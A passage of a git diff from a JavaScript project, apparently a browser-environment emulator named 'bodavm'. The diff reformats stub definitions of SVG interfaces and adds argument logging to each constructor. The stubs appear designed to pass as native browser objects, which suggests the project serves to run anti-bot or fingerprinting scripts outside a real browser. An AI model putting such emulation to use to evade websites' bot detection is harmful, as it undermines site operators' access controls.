SVGPolygonElement() { + console.log_copy('SVGPolygonElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGPolygonElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPolygonElement'], "SVGPolygonElement"); +bodavm.memory.globalobj['SVGPolygonElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGeometryElement'].prototype; +bodavm.memory.globalobj['SVGPolygonElement'].__proto__ = bodavm.memory.globalobj['SVGGeometryElement']; +bodavm.toolsFunc.defineProperty('SVGPolygonElement', "points", { + configurable: true, + enumerable: true, + get: function points() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPolygonElement'].prototype, "SVGPolygonElement", "points_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPolygonElement', "animatedPoints", { + configurable: true, + enumerable: true, + get: function animatedPoints() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPolygonElement'].prototype, "SVGPolygonElement", "animatedPoints_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGPolylineElement.js b/env_xbb_lastest_jsdom/env/SVGPolylineElement.js index 10530df8..5c2b4f04 100644 --- a/env_xbb_lastest_jsdom/env/SVGPolylineElement.js +++ b/env_xbb_lastest_jsdom/env/SVGPolylineElement.js @@ -1,7 +1,35 @@ -// SVGPolylineElement对象 -bodavm.memory.globalobj['SVGPolylineElement'] = function SVGPolylineElement(){if (!(this instanceof SVGPolylineElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPolylineElement'], "SVGPolylineElement"); -bodavm.memory.globalobj['SVGPolylineElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGeometryElement'].prototype; -bodavm.memory.globalobj['SVGPolylineElement'].__proto__=bodavm.memory.globalobj['SVGGeometryElement']; -bodavm.toolsFunc.defineProperty('SVGPolylineElement', "points", {configurable:true, enumerable:true, get:function points (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPolylineElement'].prototype, "SVGPolylineElement", "points_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPolylineElement', "animatedPoints", {configurable:true, enumerable:true, get:function animatedPoints (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPolylineElement'].prototype, "SVGPolylineElement", "animatedPoints_get", arguments)}, set:undefined},'prototype'); +// SVGPolylineElement对象 + +bodavm.memory.globalobj['SVGPolylineElement'] = function SVGPolylineElement() { + console.log_copy('SVGPolylineElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGPolylineElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPolylineElement'], "SVGPolylineElement"); +bodavm.memory.globalobj['SVGPolylineElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGeometryElement'].prototype; +bodavm.memory.globalobj['SVGPolylineElement'].__proto__ = bodavm.memory.globalobj['SVGGeometryElement']; +bodavm.toolsFunc.defineProperty('SVGPolylineElement', "points", { + configurable: true, + enumerable: true, + get: function points() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPolylineElement'].prototype, "SVGPolylineElement", "points_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPolylineElement', "animatedPoints", { + configurable: true, + enumerable: true, + get: function animatedPoints() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPolylineElement'].prototype, "SVGPolylineElement", "animatedPoints_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGPreserveAspectRatio.js b/env_xbb_lastest_jsdom/env/SVGPreserveAspectRatio.js index b2c9bdfc..308266e2 100644 --- a/env_xbb_lastest_jsdom/env/SVGPreserveAspectRatio.js +++ b/env_xbb_lastest_jsdom/env/SVGPreserveAspectRatio.js @@ -1,33 +1,205 @@ -// SVGPreserveAspectRatio对象 -bodavm.memory.globalobj['SVGPreserveAspectRatio'] = function SVGPreserveAspectRatio(){if (!(this instanceof SVGPreserveAspectRatio)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPreserveAspectRatio'], "SVGPreserveAspectRatio"); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_NONE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMIN", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMIN", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMIN", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMID", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMID", {configurable:false, enumerable:true, writable:false, value:6}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMID", {configurable:false, enumerable:true, writable:false, value:7}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMAX", {configurable:false, enumerable:true, writable:false, value:8}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMAX", {configurable:false, enumerable:true, writable:false, value:9}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMAX", {configurable:false, enumerable:true, writable:false, value:10}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_MEET", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_SLICE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPreserveAspectRatio'].prototype, "SVGPreserveAspectRatio", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPreserveAspectRatio'].prototype, "SVGPreserveAspectRatio", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "meetOrSlice", {configurable:true, enumerable:true, get:function meetOrSlice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPreserveAspectRatio'].prototype, "SVGPreserveAspectRatio", "meetOrSlice_get", arguments)}, set:function meetOrSlice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPreserveAspectRatio'].prototype, "SVGPreserveAspectRatio", "meetOrSlice_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_NONE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMIN", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMIN", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMIN", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMID", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMID", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMID", {configurable:false, enumerable:true, writable:false, value:7},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMAX", {configurable:false, enumerable:true, writable:false, value:8},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMAX", {configurable:false, enumerable:true, writable:false, value:9},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMAX", {configurable:false, enumerable:true, writable:false, value:10},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_MEET", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_SLICE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); +// SVGPreserveAspectRatio对象 + +bodavm.memory.globalobj['SVGPreserveAspectRatio'] = function SVGPreserveAspectRatio() { + console.log_copy('SVGPreserveAspectRatio 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGPreserveAspectRatio)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPreserveAspectRatio'], "SVGPreserveAspectRatio"); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMIN", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMIN", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMIN", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMID", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMID", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMID", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMAX", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMAX", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMAX", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_MEET", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_SLICE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPreserveAspectRatio'].prototype, "SVGPreserveAspectRatio", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPreserveAspectRatio'].prototype, "SVGPreserveAspectRatio", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "meetOrSlice", { + configurable: true, + enumerable: true, + get: function meetOrSlice() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPreserveAspectRatio'].prototype, "SVGPreserveAspectRatio", "meetOrSlice_get", arguments); + }, + set: function meetOrSlice() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPreserveAspectRatio'].prototype, "SVGPreserveAspectRatio", "meetOrSlice_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMIN", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMIN", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMIN", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMID", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMID", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMID", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMAX", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMAX", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMAX", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_MEET", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_SLICE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGRadialGradientElement.js b/env_xbb_lastest_jsdom/env/SVGRadialGradientElement.js index 29c2d188..f40b3b56 100644 --- a/env_xbb_lastest_jsdom/env/SVGRadialGradientElement.js +++ b/env_xbb_lastest_jsdom/env/SVGRadialGradientElement.js @@ -1,15 +1,91 @@ -// SVGRadialGradientElement对象 -bodavm.memory.globalobj['SVGRadialGradientElement'] = function SVGRadialGradientElement(){if (!(this instanceof SVGRadialGradientElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGRadialGradientElement'], "SVGRadialGradientElement"); -bodavm.memory.globalobj['SVGRadialGradientElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGradientElement'].prototype; -bodavm.memory.globalobj['SVGRadialGradientElement'].__proto__=bodavm.memory.globalobj['SVGGradientElement']; -bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "SVG_SPREADMETHOD_REPEAT", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "SVG_SPREADMETHOD_REFLECT", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "SVG_SPREADMETHOD_PAD", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "SVG_SPREADMETHOD_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "cx", {configurable:true, enumerable:true, get:function cx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "cx_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "cy", {configurable:true, enumerable:true, get:function cy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "cy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "r", {configurable:true, enumerable:true, get:function r (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "r_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "fx", {configurable:true, enumerable:true, get:function fx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "fx_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "fy", {configurable:true, enumerable:true, get:function fy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "fy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "fr", {configurable:true, enumerable:true, get:function fr (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "fr_get", arguments)}, set:undefined},'prototype'); +// SVGRadialGradientElement对象 + +bodavm.memory.globalobj['SVGRadialGradientElement'] = function SVGRadialGradientElement() { + console.log_copy('SVGRadialGradientElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGRadialGradientElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGRadialGradientElement'], "SVGRadialGradientElement"); +bodavm.memory.globalobj['SVGRadialGradientElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGradientElement'].prototype; +bodavm.memory.globalobj['SVGRadialGradientElement'].__proto__ = bodavm.memory.globalobj['SVGGradientElement']; +bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "SVG_SPREADMETHOD_REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "SVG_SPREADMETHOD_REFLECT", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "SVG_SPREADMETHOD_PAD", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "SVG_SPREADMETHOD_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "cx", { + configurable: true, + enumerable: true, + get: function cx() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "cx_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "cy", { + configurable: true, + enumerable: true, + get: function cy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "cy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "r", { + configurable: true, + enumerable: true, + get: function r() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "r_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "fx", { + configurable: true, + enumerable: true, + get: function fx() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "fx_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "fy", { + configurable: true, + enumerable: true, + get: function fy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "fy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "fr", { + configurable: true, + enumerable: true, + get: function fr() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "fr_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGRect.js b/env_xbb_lastest_jsdom/env/SVGRect.js index 6dd348fd..cfbbd9b6 100644 --- a/env_xbb_lastest_jsdom/env/SVGRect.js +++ b/env_xbb_lastest_jsdom/env/SVGRect.js @@ -1,7 +1,57 @@ -// SVGRect对象 -bodavm.memory.globalobj['SVGRect'] = function SVGRect(){if (!(this instanceof SVGRect)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGRect'], "SVGRect"); -bodavm.toolsFunc.defineProperty('SVGRect', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "x_get", arguments)}, set:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "x_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRect', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "y_get", arguments)}, set:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "y_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRect', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRect', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "height_set", arguments)}},'prototype'); +// SVGRect对象 + +bodavm.memory.globalobj['SVGRect'] = function SVGRect() { + console.log_copy('SVGRect 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGRect)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGRect'], "SVGRect"); +bodavm.toolsFunc.defineProperty('SVGRect', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "x_get", arguments); + }, + set: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "x_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRect', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "y_get", arguments); + }, + set: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "y_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRect', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRect', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "height_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGRectElement.js b/env_xbb_lastest_jsdom/env/SVGRectElement.js index d8b52920..b016bf8f 100644 --- a/env_xbb_lastest_jsdom/env/SVGRectElement.js +++ b/env_xbb_lastest_jsdom/env/SVGRectElement.js @@ -1,11 +1,67 @@ -// SVGRectElement对象 -bodavm.memory.globalobj['SVGRectElement'] = function SVGRectElement(){if (!(this instanceof SVGRectElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGRectElement'], "SVGRectElement"); -bodavm.memory.globalobj['SVGRectElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGeometryElement'].prototype; -bodavm.memory.globalobj['SVGRectElement'].__proto__=bodavm.memory.globalobj['SVGGeometryElement']; -bodavm.toolsFunc.defineProperty('SVGRectElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRectElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRectElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRectElement', "height", {configurable:true, enumerable:true, get:function height (){return 